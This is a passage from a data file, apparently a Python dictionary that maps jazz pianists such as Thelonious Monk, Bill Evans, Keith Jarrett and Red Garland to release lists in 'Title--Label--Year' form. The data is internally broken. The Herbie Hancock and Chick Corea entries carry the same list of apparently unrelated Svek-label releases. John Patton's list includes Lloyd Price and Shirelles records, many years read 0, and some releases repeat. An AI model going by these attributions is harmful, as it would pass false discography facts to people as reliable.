Inc.--1964','\\\nClose Your Eyes--Sue Records Inc.--1964','\\\nChip!! Chip!!--Jell Record Company--1964','\\\nA Toast To Jimmy McGriff\\'s Greatest Hits--Sue Records Inc.--1965','\\\nBlues For Mister Jimmy--Sue Records Inc.--1965','\\\nBump De Bump--Sue Records Inc.--1965','\\\nDiscotheque U.S.A. / People--Sue Records Inc.--1965','\\\nSee See Rider--United Artists Records--1967','\\\nLive Where The Action\\'s At!--Veep--1966','\\\nI Can\\'t Get No Satisfaction / I Can\\'t Give You Anything But Love, Baby--Solid State Records (2)--1966','\\\nThe Big Band--Solid State Records (2)--1966','\\\nCherry--Solid State Records (2)--1966','\\\nI Cover The Waterfront / Slow But Sure--Solid State Records (2)--1966','\\\nA Bag Full Of Soul--Solid State Records (2)--1966','\\\nThe Comeback / Cherry--Solid State Records (2)--1966','\\\nThe Days Of Wine And Roses--Solid State Records (2)--1967','\\\nThe Swingin\\' Shepherd Blues--Solid State Records (2)--1967','\\\nA Bag Full Of Blues--Solid State Records (2)--1967','\\\nHoney / (Sweet, Sweet Baby) Since You\\'ve Been Gone--Solid State Records (2)--1968','\\\nI\\'ve Got A Woman / Kiko--Solid State Records (2)--1968','\\\nThe Worm / Keep Loose--Solid State Records (2)--1968','\\\nThe Worm--United Artists Records--1969'),'\\\nJohn Patton':('\\\nAlong Came John--Blue Note--1963','\\\nBlue John--Blue Note--1963','\\\n\\'The Way I Feel\\'--Blue Note--1964','\\\nOh Baby!--Blue Note--1965','\\\nGot A Good Thing Goin\\'--Blue Note--1966','\\\nLet \\'Em Roll--Blue Note--1966','\\\nThat Certain Feeling--Blue Note--1970','\\\nUnderstanding--Blue Note--1968','\\\nAccent On The Blues--Blue Note--1969','\\\nSoul Connection--Nilva Records--1983','\\\nBlue Planet Man--Paddle Wheel Records--1993','\\\nThe Organization! The Best Of \\'Big\\' John Patton--Blue Note--1994','\\\nMinor Swing--DIW--1995','\\\nBoogaloo--Blue Note--1995','\\\nMemphis To New York Spirit--Blue Note--1996','\\\nThe Natural Soul--Blue Note--1963','\\\nWhere Were You (On Our Wedding Day)? / Is It Really Love?--ABC-Paramount--1959','\\\nWhere Were You (On Are Wedding Day)--Embassy--1959','\\\nThe Exciting Lloyd Price--ABC-Paramount--1959','\\\nMr Personality\\'s 15 Hits--ABC-Paramount--1960','\\\nBig John / Twenty-One--Scepter Records--1961','\\\nVoice Of Experience / I Wantcha\\' To Be Sure--Wand--1962','\\\nSylvie--RCA Victor--1962','\\\nBaby It\\'s You--Scepter Records--1962','\\\nFunky Mama--Blue Note--1962','\\\nMadison Twist--RCA Victor--1962','\\\nThe Shirelles\\' Greatest Hits--Scepter Records--1963','\\\nSignifyin\\'--Argo (6)--1963','\\\nGood Gracious!--Blue Note--1963','\\\nSoul Groove--Atlantic--1964','\\\nThe Natural Soul--Blue Note--1963','\\\nShoutin\\'--Blue Note--1963','\\\nSteppin\\' Out!--Blue Note--1963','\\\nOne Fine Day / Putty In Your Hands--Columbia--1964','\\\nPossum Head--Argo (6)--1964'),'\\\nLennie Tristano':('\\\nCool And Quiet--Capitol Records--1953','\\\nHoliday In Piano--EmArcy--0','\\\nClassics In Jazz--Capitol Records--1954','\\\nLennie Tristano--Atlantic--1955','\\\nSubconscious-Lee--Prestige--1955','\\\nLennie Tristano Vol. 2--Metronome--1957','\\\nThe Jazz Keyboards--Savoy Records--1955','\\\nModern Jazz Piano: Four Views--RCA Camden--1957','\\\nThe New Tristano--Atlantic--1960','\\\nJazz Of The Forties / Hot Vs Cool--Capitol Records--0','\\\nCrosscurrents--Capitol Records--1972','\\\nA Guiding Light Of The Forties--Mercury--1973','\\\nDescent Into The Maelstrom--East Wind--1976','\\\nLennie Tristano--Fabbri Editori--1979','\\\nThe Modern Jazz Piano Album--Savoy Records--1980','\\\nRequiem--Atlantic--1980','\\\nThe Lost Session--Nostalgia (8)--1982','\\\nCool & Quiet--Capitol Records--1982','\\\nNew York Improvisations--Elektra--1983','\\\nContinuity--Jazz Records--1985','\\\nThe Complete Lennie Tristano--Mercury--1987','\\\nLennie Tristano--Fabbri Editori--1989','\\\nLennie Tristano / The New Tristano--Rhino Records (2)--1994','\\\nIntuition--Capitol Jazz--1996','\\\nConcert In Copenhagen--Jazz Records--1997','\\\nThe Copenhagen Concert--Idem Home Video--1997','\\\nThe Complete Atlantic Recordings Of Lennie Tristano, Lee Konitz, & Warne Marsh--Mosaic Records (2)--1997'),'\\\nMary Lou Williams':('\\\nMr. Freddie Blues / Sweet (Patootie) Patunia--Decca--1939','\\\nThe Pearls / The Rocks--Decca--0','\\\nMary Lou Williams And Orchestra--Stinson Records--1950','\\\nRehearsal Vol. 1--Folkways Records--1951','\\\nMary Lou Williams--Atlantic--1951','\\\nMary-Lou Williams Und Ihre Bands--Opera--1955','\\\nMary Lou Williams Plays In London--Vogue Records--1953','\\\nThe Feminine Touch--Decca--1953','\\\nMary Lou--EmArcy--1954','\\\nDon Carlos Meets Mary Lou --Vogue Productions--1954','\\\nPiano Jazz Vol. 2: Barrel House And Boogie Woogie--Brunswick--1955','\\\nA Keyboard History--Jazztone (2)--1955','\\\nFirst Lady Of The Piano--Jazztone (2)--1956','\\\nModern Jazz Piano: Four Views--RCA Camden--1957','\\\nLadies of Jazz--Atlantic--1957','\\\nAt Newport--Verve Records--1958','\\\nThe King And Queen Of Jazz Piano--Jazztone (2)--1958','\\\nChunk-A-Lunk Jug--Sue Records Inc.--1959','\\\nMary Lou Williams--Mary Records--1964','\\\nPraise The Lord In Many Voices--Avant Garde Records (2)--1966','\\\nKansas City Piano (1936-1941)--Decca--1967','\\\nGiants--Perception Records (5)--1971','\\\nFrom The Heart--Chiaroscuro Records--1971'),'\\\nThelonious Monk':('\\\nGenius Of Modern Music Vol. 2--Blue Note--1952','\\\nGenius Of Modern Music--Blue Note--1952','\\\nThelonious Monk Plays--Prestige--1954','\\\nPiano Solos--Vogue Records--1956','\\\nPiano Solo--Swing (3)--1954','\\\nSonny Rollins And Thelonious Monk--Prestige--1955','\\\nGigi Gryce · Thelonious Monk · Percy Heath · Art Blakey · Horace Silver · Art Farmer · Kenny Clarke · Cecil Payne · Jimmy Cleveland · Oscar Pettiford · Julius Watkins--Signal (3)--1955','\\\nThe Unique Thelonious Monk--Riverside Records--1956','\\\nThelonious Monk--Prestige--1956','\\\nGenius Of Modern Music Volume 2--Blue Note--1956','\\\nThe Unique Thelonious Monk--Riverside Records--1956','\\\nThelonious Monk Plays The Music Of Duke Ellington--Riverside Records--1956','\\\nThelonious Monk / Sonny Rollins--Prestige--1956','\\\nWe See--Metronome--1957','\\\nMulligan Meets Monk--Riverside Records--1957','\\\nThelonious Himself--Riverside Records--1957','\\\nBrilliant Corners--Riverside Records--1957','\\\nLocomotive--Metronome--1957','\\\nArt Blakey\\'s Jazz Messengers With Thelonious Monk--Atlantic--1958','\\\nIn Orbit--Riverside Records--1958','\\\nArt Blakey\\'s Jazz Messengers With Thelonious Monk--Metronome--1958','\\\nWork / Nutty--Metronome--1958','\\\nThelonious Alone In San Francisco--Riverside Records--1959','\\\nThelonious Monk Trio--Prestige--1956','\\\nBird And Diz--Mercury--1952','\\\nRuby, My Dear - Monk And Trane--Riverside Records--1961','\\\nThelonious Monk With John Coltrane--Jazzland--1961','\\\nNutty - Monk And Trane--Riverside Records--1961','\\\nGreatest Hits--Riverside Records--1962','\\\nGiants Meeting--Riverside Records--1963','\\\nCriss-Cross--Columbia--0','\\\nIn Italy--Riverside Records--1963','\\\nCriss-Cross--Columbia--1963','\\\nTwo Hours With Thelonious (European Concerts By Thelonious Monk)--Riverside Records--1963','\\\nBig Band And Quartet In Concert--Columbia--1964','\\\nIt\\'s Monk\\'s Time--Columbia--1964'),'\\\nHampton Hawes':('\\\nBopera - Part 7/ Unfinished Bopera--Bop!--1947','\\\nHaig--Vantage Records (2)--1951','\\\nI Just Love Jazz Piano!--Savoy Records--1955','\\\nPiano: East/West--Prestige--1956','\\\nEverybody Likes Hampton Hawes, Vol. 3: The Trio--Contemporary Records--1956','\\\nThis Is Hampton Hawes Vol. 2: The Trio--Contemporary Records--1956','\\\nQuartet--Barclay--1957','\\\nWest Coast Jazz Concert--Regent--1957','\\\nMingus Three--Jubilee--1957','\\\nFour!--Contemporary Records--1959','\\\nFor Real!--Contemporary Records--1961','\\\nThe Green Leaves Of Summer--Contemporary Records--1964','\\\nCurtis Fuller And Hampton Hawes With French Horns--Status Records (2)--1965','\\\nJam Session--Columbia--1968','\\\nThe Challenge--VICTOR WORLD GROUP--1968','\\\nHamp\\'s Piano--SABA--0','\\\nAnglo American Jazz Phase 1--Music De Wolfe--1971','\\\nSpanish Steps--Black Lion Records--1971','\\\nUniverse--Prestige--1972','\\\nPlayin\\' In The Yard--Prestige--1973','\\\nI\\'m All Smiles--Contemporary Records--0','\\\nBlues For Walls--Prestige--1973','\\\nThis Guy\\'s In Love With You--Freedom--1975','\\\nNorthern Windows--Prestige--1974','\\\nThe East/West Controversy--Xanadu Records--1975','\\\nBlack California (The Savoy Sessions)--Savoy Records--1976','\\\nPiano Improvisation--International Joker Production--1977','\\\nA Little Copenhagen Night Music--Arista--1977','\\\nAt The Piano--Contemporary Records--1978','\\\nAs Long As There\\'s Music--Artists House--1978','\\\nKey For Two--BYG Records--0','\\\nLive At The Jazz Showcase In Chicago Volume One--Enja Records--1981','\\\nThe Hampton Hawes Memorial Album - Original 1952-1956 Recordings--Xanadu Records--1982','\\\nRecorded Live At The Great American Music Hall--Concord Jazz--1983','\\\nJazz Concert West Coast (Volume 1)--Savoy Records--1955','\\\nRed Mitchell--Bethlehem Records--1956','\\\nPedro Iturralde Quartet Featuring Hampton Hawes--Hispavox--1986','\\\nThe Sermon--Contemporary Records--1987','\\\n1949-1957--Fresh Sound Records--1989','\\\nLive At The Jazz Showcase In Chicago Volume Two--Enja Records--1989','\\\nAt Montreux--Jas Records--1976','\\\nBird Song--Original Jazz Classics--1999'),'\\\nRoland Hanna':('\\\nRoland Hanna Plays Harold Rome\\'s Destry Rides Again--ATCO Records--1959','\\\nEasy To Love--ATCO Records--1960','\\\nSir Elf:--Choice (7)--1973','\\\n1 X 1--Toho Records--1974','\\\nStephane Grappelli Meets The Rhythm Section--Black Lion Records--1975','\\\nPerugia: Live At Montreux 74--Freedom--1975','\\\nPorgy & Bess--Trio Records--1976','\\\n24 Preludes - Book 1--CTI Records--1976','\\\nGlove--Trio Records--1977','\\\n24 Preludes - Book 2--Salvation (4)--1977','\\\nBird Watching--Progressive Records (2)--1978','\\\nBy Myself--L+R Records--1979','\\\nImpressions--Ahead (2)--1979','\\\nTrinity--L+R Records--1979','\\\nSwing Me No Waltzes--Storyville--1980','\\\nSurge--Enja Records--1977','\\\nLionel Hampton Presents: Woody Herman--no label--1977','\\\nRomanesque--TRIO RECORDS--1982','\\\nGershwin Carmichael Cats--CTI Records--1982','\\\nPersia My Dear--DIW--1987','\\\nIn The Mood For Swing--Musicmasters--1988','\\\nDouble Exposure--LRC Ltd.--1991','\\\nDuke Ellington Piano Solos--LimeLight--1991','\\\n24 Preludes--CTI Records--1995','\\\nApres Un Reve--Kang & Music--2003'),'\\\nAl Haig':('\\\nLover Man / Shaw \\'Nuff--Guild Records (2)--1945','\\\nJazz Will-O-The-Wisp--Counterpoint--1957','\\\nBird At St. Nick\\'s - Volume 1--Debut Records (3)--1957','\\\nToday!--Mint Records (3)--1964','\\\nPrezervation--Prestige--1967','\\\nTrio And Quintet!--Prestige--1970','\\\nStrings Attached--Choice (7)--1975','\\\nInterplay--Seabreeze Records--1976','\\\nPiano Interpretation--Seabreeze Records--1976','\\\nReminiscence--Progressive Records (2)--1977','\\\nDuke\\'N\\'Bird--East Wind--1977','\\\nA Portrait Of Bud Powell--Interplay Records--1978','\\\nPlays The Music Of Jerome Kern--Inner City Records--1980','\\\nEuropa Jazz--Europa Jazz--1981','\\\nBe Bop Live--Spotlite Records--1983','\\\nBlue Manhattan--Bopland--1984','\\\nLive In Hollywood--Xanadu Records--1985','\\\nThe Small Groups 1945-1946 Original Recordings--Phoenix Records (8)--0','\\\nMeets The Master Saxes Volume Three--Spotlite Records--0','\\\nA Handful Of Modern Jazz--Baronet Records--1959','\\\nJust A Little Fond Affection / Surprise Party--Decca--1945'),'\\\nArt Tatum':('\\\nGone With The Wind / Stormy Weather--Decca--1937','\\\nThe Sheik Of Araby / Chlo-E--Decca--1937','\\\nDeep Purple / Tea For Two--Decca--1939','\\\nPiano Solos--Decca--1940','\\\nElégie / Humoresque--Decca--1940','\\\nPiano Impressions--Ara (2)--1946','\\\nPiano Solos Volume One--Decca--1947','\\\nAin\\'t Misbehavin\\' / (When Your Heart\\'s On Fire) Smoke Gets In Your Eyes--RCA Victor--1948','\\\nPiano Solos Vol. 2--Brunswick--1950','\\\nArt Tatum--Capitol Records--1950','\\\nArt Tatum Encores--Capitol Records--1951','\\\nGene Norman Presents An Art Tatum Concert--Columbia--1952','\\\nFrom Gene Norman\\'s Just Jazz--Vogue Productions--1954','\\\nThe Genius Of Art Tatum #5--Clef Records--1954','\\\nThe Genius Of Art Tatum #6--Clef Records--1955','\\\nThe Genius Of Art Tatum--Clef Records--1954','\\\nThe Genius Of Art Tatum #3--Clef Records--1954','\\\nThe Genius Of Art Tatum # 2--Clef Records--1954','\\\nThe Genius Of Art Tatum # 1--Clef Records--1954','\\\nThe Genius Of Art Tatum #1--Clef Records--1954','\\\nThe Genius Of Art Tatum # 4--Clef Records--1954'),'\\\nOscar Peterson':('\\\nWhere Or When / Oscar\\'s Blues--Mercury--0','\\\nRobbins Nest / Exactly Like You--Mercury--1950','\\\nPiano Solos--Mercury--0','\\\nDebut / Tenderly--Mercury--1952','\\\nThey Didn\\'t Believe Me / Lover Come Back To Me--Mercury--1950','\\\nSalute To Garner / Squatty Roo--Mercury--0','\\\nOscar Peterson Plays Cole Porter--Clef Records--1953','\\\nHow High The Moon / Nameless--Mercury--1951','\\\nOscar Peterson At Carnegie--Clef Records--1952','\\\nPlays Pretty--Mercury--1952','\\\nCollates No. 2--Clef Records--1952','\\\nPlays Jerome Kern--Clef Records--1952','\\\nThis Is Oscar Peterson At The Piano--RCA Victor--1952','\\\nOscar Peterson Collates--Mercury--1952','\\\nJumpin\\' With Symphony Sid / Get Happy--Mercury--0','\\\nOscar Peterson Plays George Gershwin--Clef Records--1953','\\\nOscar Peterson Plays Duke Ellington--Mercury--1953','\\\nLittle White Lies / Lover--Mercury--0','\\\nPlays Irving Berlin--Mercury--1953','\\\nJam Session #5--Clef Records--1955','\\\nPlays George Gershwin--Clef Records--0','\\\nOscar Peterson Plays Cole Porter--Clef Records--1953','\\\nPlays Duke Ellington--Clef Records--1953','\\\nSweet Georgia Brown / China Boy--no label--1953','\\\nI Got Rhythm / My Blue Heaven--no label--1953','\\\nOscar Peterson Plays Cole Porter--Mercury--1953','\\\nPiano Solos--Clef Records--1953','\\\nOscar Peterson Plays Duke Ellington--Mercury--1953','\\\nPlays Irving Berlin--Mercury--1954','\\\nPlays Irving Berlin--Karusell--1953','\\\nOscar Peterson Sings--Clef Records--0','\\\nOscar Peterson Plays Richard Rodgers--Clef Records--1954'),'\\\nBill Evans':('\\\nNew Jazz Conceptions--Riverside Records--1956','\\\nThe Ivory Hunters--United Artists Records--1959','\\\nA Message From Garcia--Dawn (3)--1956','\\\nJazz In The Space Age--Decca--1960','\\\nBlues And The Abstract Truth--Impulse!--1961','\\\nThe Blues And The Abstract Truth #2--Impulse!--1961','\\\nKnow What I Mean?--Riverside Records--1961','\\\nEmpathy--Verve Records--1962','\\\nInterplay--Riverside Records--1962','\\\nUndercurrent--United Artists Records--1962','\\\nConversations With Myself--Verve Records--0','\\\nOn Broadway / 55 Days At Peking--Verve Records--0','\\\nThe Gary McFarland Orchestra--Verve Records--1963','\\\nWaltz For Debby / Who Cares?--Riverside Records--1963','\\\nTheme From The V.I.P.s And Other Great Songs--MGM Records--1963','\\\nWaltz For Debby--Philips--1964','\\\nDig It!--Fontana--1964','\\\nTrio 64--Verve Records--1964','\\\nA Simple Matter Of Conviction--Verve Records--1966','\\\nIntermodulation--Verve Records--1966','\\\nThe Best Of Bill Evans--Verve Records--0','\\\nFurther Conversations With Myself--Verve Records--1967','\\\nMoon Beams--Riverside Records--1962','\\\nSunday At The Village Vanguard--Riverside Records--1961','\\\nAt The Montreux Jazz Festival--Verve Records--1968','\\\nAt Shelly\\'s Manne-Hole, Hollywood, California--Riverside Records--1965','\\\nAlone--Verve Records--1968','\\\nWhat\\'s New--Verve Records--1969','\\\nPeace Pieces--Riverside Records--1969','\\\nFrom Left To Right--MGM Records--1970','\\\nMontreux II--CTI Records--1970','\\\nThe Bill Evans Album--Columbia--1971','\\\nLiving Time--Columbia--1972','\\\nThe Village Vanguard Sessions--Milestone (4)--1973','\\\nBill Evans Live In Tokyo--CBS/Sony--1973','\\\nLive At The Festival--Enja Records--1973','\\\nNew York, N.Y. And Jazz In The Space Age--MCA Records--1973','\\\nPreviously Unreleased Recordings--Verve Records--1973','\\\nSymbiosis--MPS Records--1974','\\\nIntuition--Fantasy--1975','\\\nPeace Piece And Other Pieces--Milestone (4)--1975'),'\\\nHerbie Hancock':('\\\nStockholm By Night--Svek--1997','\\\nCity Of Islands--Svek--1998','\\\nPleasure--Svek--1998','\\\nMorgon Sol--Svek--1998','\\\nAutumn Leaves EP--Concrete Music (4)--2013','\\\nFusion Of Thoughts--Stockholm LTD--2013','\\\nSkargard--Templar (3)--2015','\\\nVårblommor--Tardis Records (2)--2015','\\\nLoves You All Night And Day--Raw Elements--1997','\\\nThe Big Bang Theory--Svek--1997','\\\nDiskophrenia Remixes--Svek--1998','\\\nLive At Robert Johnson--Live At Robert Johnson--2010','\\\nSun Trip - Fifth--Playdoe--1998'),'\\\nJoe Zawinul':('\\\nSoulmates--Riverside Records--1963','\\\nMoney In The Pocket--Atlantic--1966','\\\nEurosuite / Variations--Preiser Records--1967','\\\nSoul Of A Village / Lord, Lord, Lord--Vortex Records (2)--1968','\\\nThe Rise & Fall Of The Third Stream--Vortex Records (2)--1968','\\\nZawinul--Atlantic--1971','\\\nConcerto Retitled--Atlantic--1976','\\\nTrav\\'lin\\' Light--Milestone (4)--1980','\\\nDialects--Columbia--1986','\\\nMusic For Two Pianos--Capriccio (2)--1988','\\\nThe Rise & Fall Of The Third Stream / Money In The Pocket--Rhino Records (2)--1994','\\\nStories Of The Danube--Philips--1996','\\\nMy People--Jms--1996','\\\nWorld Tour--ESC Records--1998','\\\nOut Of The Forrest--Prestige--1961','\\\nFaces & Places--ESC Records--2002','\\\nLive 1991--Geneon--2005','\\\nVienna Nights | Live At Joe Zawinul\\'s Birdland--BHM Productions--2005','\\\nBrown Street--Intuition Records--2006','\\\n75th--BHM Productions--2008','\\\nBimoya--Un-Restricted Access--2008','\\\nThe Harvest--Sacred Rhythm Music--2016','\\\nMysterious Traveller--Columbia--1974','\\\nTale Spinnin\\'--Columbia--1975','\\\nBlack Market--Columbia--1976','\\\nHeavy Weather--Columbia--1977','\\\nBirdland--CBS--1977'),'\\\nChick Corea':('\\\nStockholm By Night--Svek--1997','\\\nCity Of Islands--Svek--1998','\\\nPleasure--Svek--1998','\\\nMorgon Sol--Svek--1998','\\\nAutumn Leaves EP--Concrete Music (4)--2013','\\\nFusion Of Thoughts--Stockholm LTD--2013','\\\nSkargard--Templar (3)--2015','\\\nVårblommor--Tardis Records (2)--2015','\\\nLoves You All Night And Day--Raw Elements--1997','\\\nThe Big Bang Theory--Svek--1997','\\\nDiskophrenia Remixes--Svek--1998','\\\nLive At Robert Johnson--Live At Robert Johnson--2010','\\\nSun Trip - Fifth--Playdoe--1998'),'\\\nMcCoy Tyner':('\\\nImagination--Savoy Records--0','\\\nLive At Newport--Impulse!--1964','\\\nNights Of Ballads & Blues--Impulse!--1963','\\\nToday And Tomorrow--Impulse!--1964','\\\nIllumination!--Impulse!--1964','\\\nMcCoy Tyner Plays Ellington--Impulse!--1965','\\\nThe Real McCoy--Blue Note--1967','\\\nTender Moments--Blue Note--1968','\\\nTime For Tyner--Blue Note--1969','\\\nExpansions--Blue Note--1969','\\\nEchoes Of A Friend--Victor--1972','\\\nSahara--Milestone (4)--1972','\\\nExtensions--Blue Note--1972','\\\nEnlightenment--Milestone (4)--1973','\\\nReevaluation: The Impulse Years--ABC Records--1973','\\\nSong For My Lady--Milestone (4)--1973','\\\nSong Of The New World--Milestone (4)--1973','\\\nSama Layuca--Milestone (4)--1974','\\\nAsante--Blue Note--1974','\\\nAtlantis--Milestone (4)--1975','\\\nTrident--Milestone (4)--1975','\\\nFocal Point--Milestone (4)--1976','\\\nBallads--Impulse!--1963','\\\nFly With The Wind--Milestone (4)--1976','\\\nChick Corea, Herbie Hancock, Keith Jarrett, McCoy Tyner--Atlantic--1976','\\\nSupertrios--Milestone (4)--1977','\\\nInner Voices--Milestone (4)--1977','\\\nRotunda--Milestone (4)--1977','\\\nMcCoy--Joker (2)--1977','\\\nThe Greeting--Milestone (4)--1978','\\\nMilestone Jazzstars In Concert--Milestone (4)--1979','\\\nTogether--Milestone (4)--1979','\\\nPassion Dance--Milestone (4)--1979','\\\n4 X 4--Milestone (4)--1980','\\\nHorizon--Milestone (4)--1980','\\\nGreat Moments With McCoy Tyner--MCA Records--1981','\\\nLa Leyenda De La Hora (The Legend Of The Hour)--Columbia--1981','\\\nReflections--Milestone (4)--1981','\\\n13th House--Milestone (4)--1982','\\\nLooking Out--Columbia--1982','\\\nLove Surrounds Us Everywhere--Columbia--1982'),'\\\nKeith Jarrett':('\\\nLife Between The Exit Signs--Vortex Records (2)--1968','\\\nYou\\'re Fortunate / Sioux City Sue New--Vortex Records (2)--1968','\\\nRestoration Ruin--Vortex Records (2)--1968','\\\nGary Burton & Keith Jarrett--Atlantic--1971','\\\nAll I Want --Atlantic--1971','\\\nThe Mourning Of A Star--Atlantic--1971','\\\nFacing You--ECM Records--1972','\\\nBirth--Atlantic--1972','\\\nExpectations--Columbia--1972','\\\nRuta And Daitya--ECM Records--1973','\\\nFort Yawuh--Impulse!--1973','\\\nSolo Concerts: Bremen / Lausanne--ECM Records--1973','\\\nBelonging--ECM Records--1974','\\\nTreasure Island--Impulse!--1974','\\\nIn The Light--ECM Records--1974','\\\nThe Köln Concert--ECM Records--1975','\\\nDeath And The Flower--Impulse!--1975','\\\nBackhand--ABC Impulse!--1975','\\\nEncore From The Köln Concert (Excerpt)--ECM Records--1975','\\\nEl Juicio (The Judgement)--Atlantic--1975','\\\nLuminessence--ECM Records--1975','\\\nHymns Spheres--ECM Records--1976','\\\nArbour Zena--ECM Records--1976','\\\nShades--Impulse!--1976','\\\nMysteries--Impulse!--1976','\\\nChick Corea, Herbie Hancock, Keith Jarrett, McCoy Tyner--Atlantic--1976','\\\nThe Survivors\\' Suite--ECM Records--1977','\\\nByablue--Impulse!--1977','\\\nStaircase--ECM Records--1977','\\\nTales Of Another--ECM Records--1977','\\\nSun Bear Concerts--ECM Records--1978','\\\nBop-Be--ABC Impulse!--1978','\\\nMy Song--ECM Records--1978','\\\nBest Of Keith Jarrett--ABC Records--1978','\\\nEyes Of The Heart--ECM Records--1979','\\\nNude Ants (Live At The Village Vanguard)--ECM Records--1980','\\\nSacred Hymns--ECM Records--1980','\\\nThe Celestial Hawk - For Orchestra, Percussion And Piano--ECM Records--1980','\\\nEuropa Jazz--Europa Jazz--1981','\\\nGreat Moments With Keith Jarrett--Impulse!--1981','\\\nInvocations / The Moth And The Flame--ECM Records--1981'),'\\\nPaul Bley':('\\\nIntroducing Paul Bley--Debut Records--1954','\\\nPaul Bley--Wing Records--1954','\\\nFootloose--Savoy Records--1963','\\\nBlood--Fontana--1966','\\\nIn Haarlem - Blood--International Polydor Production--1967','\\\nMr. Joy--Limelight--1968','\\\nRamblin\\'--BYG Records--1969','\\\nPaul Bley With Gary Peacock--ECM Records--1970','\\\nImprovisie--America Records--1971','\\\nBallads--ECM Records--1971','\\\nDual Unity--Freedom--1972','\\\nOpen, To Love--ECM Records--1973','\\\nPaul Bley / NHØP--SteepleChase--1973','\\\nTouching--Debut Records (3)--1965','\\\nTurning Point--Improvising Artists Inc.--1975','\\\nAlone, Again--Improvising Artists Inc.--1975','\\\nQuiet Song--Improvising Artists Inc.--1975','\\\nCopenhagen And Haarlem--Arista--1975','\\\nVirtuosi--Improvising Artists Inc.--1976','\\\nPastorius / Metheny / Ditmas / Bley--Improvising Artists Inc.--1976','\\\nThe Fabulous Paul Bley Quintet--America Records--1971','\\\nJapan Suite--Improvising Artists Inc.--1977','\\\nPyramid--Improvising Artists Inc.--1977','\\\nIAI Festival--Improvising Artists Inc.--1978','\\\nAxis (Solo Piano)--Improvising Artists Inc.--1978','\\\nTears--Owl Records (4)--1984','\\\nSonor--Soul Note--1984','\\\nDiane--SteepleChase--1985','\\\nTango Palace--Soul Note--1985','\\\nFragments--ECM Records--1986','\\\nLive--SteepleChase--1986','\\\nSyndrome--Savoy Jazz--1986','\\\nTurns--Savoy Jazz--1987','\\\nLive Again--SteepleChase--1987','\\\nNotes--Soul Note--1988','\\\nOut Of Nowhere--Candid--1988','\\\nSolo Piano--SteepleChase--1988','\\\nFloater Syndrome--Vogue--1989','\\\nPieces Of...--Stunt Records--1990','\\\nRight Time - Right Place--Sonet--1990'),'\\\nWynton Kelly':('\\\nNew Faces–New Sounds--Blue Note--1953','\\\nDizzy Atmosphere--Specialty--1957','\\\nSittin\\' In--Verve Records--1958','\\\nWynton Kelly--Riverside Records--1958','\\\nKelly Blue--Riverside Records--1959','\\\nWrinkles / On Stage--Vee Jay Records--1960','\\\nKelly At Midnite--Vee Jay Records--1960','\\\nKelly Great--Vee Jay Records--1960','\\\nAll Members--Jazzland--1961','\\\nPlus--Riverside Records--1961','\\\nWynton Kelly!--Vee Jay Records--1961','\\\nCome Rain Or Come Shine--Vee Jay Records--1961','\\\nThe Modern Touch--Riverside Records--1958','\\\nComin\\' In The Back Door--Verve Records--1963','\\\nComin\\' In The Back Door / If That\\'s The Way You Want It--Verve Records--1963','\\\nEarly Art--New Jazz--1961','\\\nGiants Meeting--Riverside Records--1964','\\\nIt\\'s All Right--Verve Records--1964','\\\nThe Best Of--Vee Jay Records--1964','\\\nOn The Trail--Riverside Records--1965','\\\nSoprano Sax--Prestige--1958','\\\nKeep It Moving--Milestone (4)--1975','\\\nSomeday My Prince Will Come--VJ International--1977','\\\nIn Concert--VJ International--1977','\\\nLive At Left Bank Jazz Society 1968--Vee Jay Records--1977','\\\nWhat I Mean--Milestone (4)--1979','\\\nOn \\'Powertree\\'--Delmark Records--1979','\\\nModern Jazz Perspective--Columbia--1957','\\\nMy Babe--Vee Jay Records--1965','\\\nBlues On Purpose--Xanadu Records--1983','\\\nAutumn Leaves--Vee Jay Records--1984','\\\nDouble Or Nothin\\'--Liberty--1957','\\\nInterpretations By The Wynton Kelly Quartet--Vee Jay Records--1977','\\\nIn Person, Friday Night At The Blackhawk, San Francisco, Volume I--Columbia--1961','\\\nIn Person, Saturday Night At The Blackhawk, San Francisco, Volume II--Columbia--1961','\\\nA Sure Thing--Riverside Records--1962','\\\nCarnegie Hall, May 19, 1961 Miles Davis & Gil Evans Concierto De Aranjuez --Giants Of Jazz--1997'),'\\\nRed Garland':('\\\nRed Garland\\'s Piano--Prestige--1957','\\\nAll Kinds Of Weather--Prestige--1958','\\\nSoultrane--Prestige--1958','\\\nAll Mornin\\' Long--Prestige--1958','\\\nRed Garland At The Prelude--Prestige--1959','\\\nRed In Bluesville--Prestige--1959','\\\nRed Alone - Volume 3--Moodsville--1960','\\\nAlone With The Blues--Moodsville--1960','\\\nCurtis Fuller With Red Garland--New Jazz--1962','\\\nThe Nearness Of You--JAZZLAND--1962','\\\nSonny Boy / Baby Won\\'t You Please Come Home--Prestige--1962','\\\nWhen There Are Grey Skies--Prestige--1962','\\\nCan\\'t See For Lookin\\'--Prestige--1963','\\\nSoul Burnin\\'--Prestige--1964','\\\nHalleloo-Y\\'-All--Prestige--1964','\\\nBy The Numbers--Prestige--1965','\\\nLive!--Prestige--1965','\\\nLil\\' Darlin\\'--Status Records (2)--1965','\\\nSugan--Status Records (2)--1965','\\\nRed Garland Revisited! --Prestige--1969','\\\nThe P.C. Blues--Prestige--1970','\\\nThe Quota--MPS Records--1973','\\\nAuf Wiedersehen--MPS Records--1975','\\\nRediscovered Masters--Prestige--1977','\\\nCrossings--Galaxy--1978','\\\nRed Alert--Galaxy--1978','\\\nLive Under The Sky--Galaxy--1979','\\\nEquinox--Galaxy--1979','\\\nFeelin\\' Red--Muse Records--1979','\\\nStepping Out--Galaxy--1981','\\\nSo Long Blues--Galaxy--1984','\\\nI Left My Heart...--Muse Records--1985','\\\nKeystones!--Xanadu Records--1991','\\\nAt The Prelude Vol. 1--Prestige--1994'),'\\\nGeorge Cables':('\\\nWhy Not--Whynot--1975','\\\nCables\\' Vision--Contemporary Records--1980','\\\nGoin\\' Home--Galaxy--1982','\\\nDarn That Dream--RealTime Records (4)--1982','\\\nTête-À-Tête--Galaxy--1983','\\\nFour Seasons--Timeless Records (3)--1985','\\\nCircle--Contemporary Records--1985','\\\nDynamics--Concord Jazz--1985','\\\nThe Big Jazz Trio--Eastworld--1985','\\\nDouble Image--Contemporary Records--1987','\\\nCalifornia Meeting - Live On Broadway--Soul Note--1987','\\\nBy George: George Cables Plays The Music Of George Gershwin--Contemporary Records--1987','\\\nDance Of The Sun--Timeless Muse--1978','\\\nNight And Day--DIW--1991','\\\nLooking For The Light--MuseFX Records--2003','\\\nElectrifying Sounds Of The Paul Jeffrey Quintet--Savoy Records--1968','\\\nAt The Lighthouse If You\\'re Not Part Of The Solution, You\\'re Part Of The Problem--Milestone (4)--1970','\\\nBlackstone 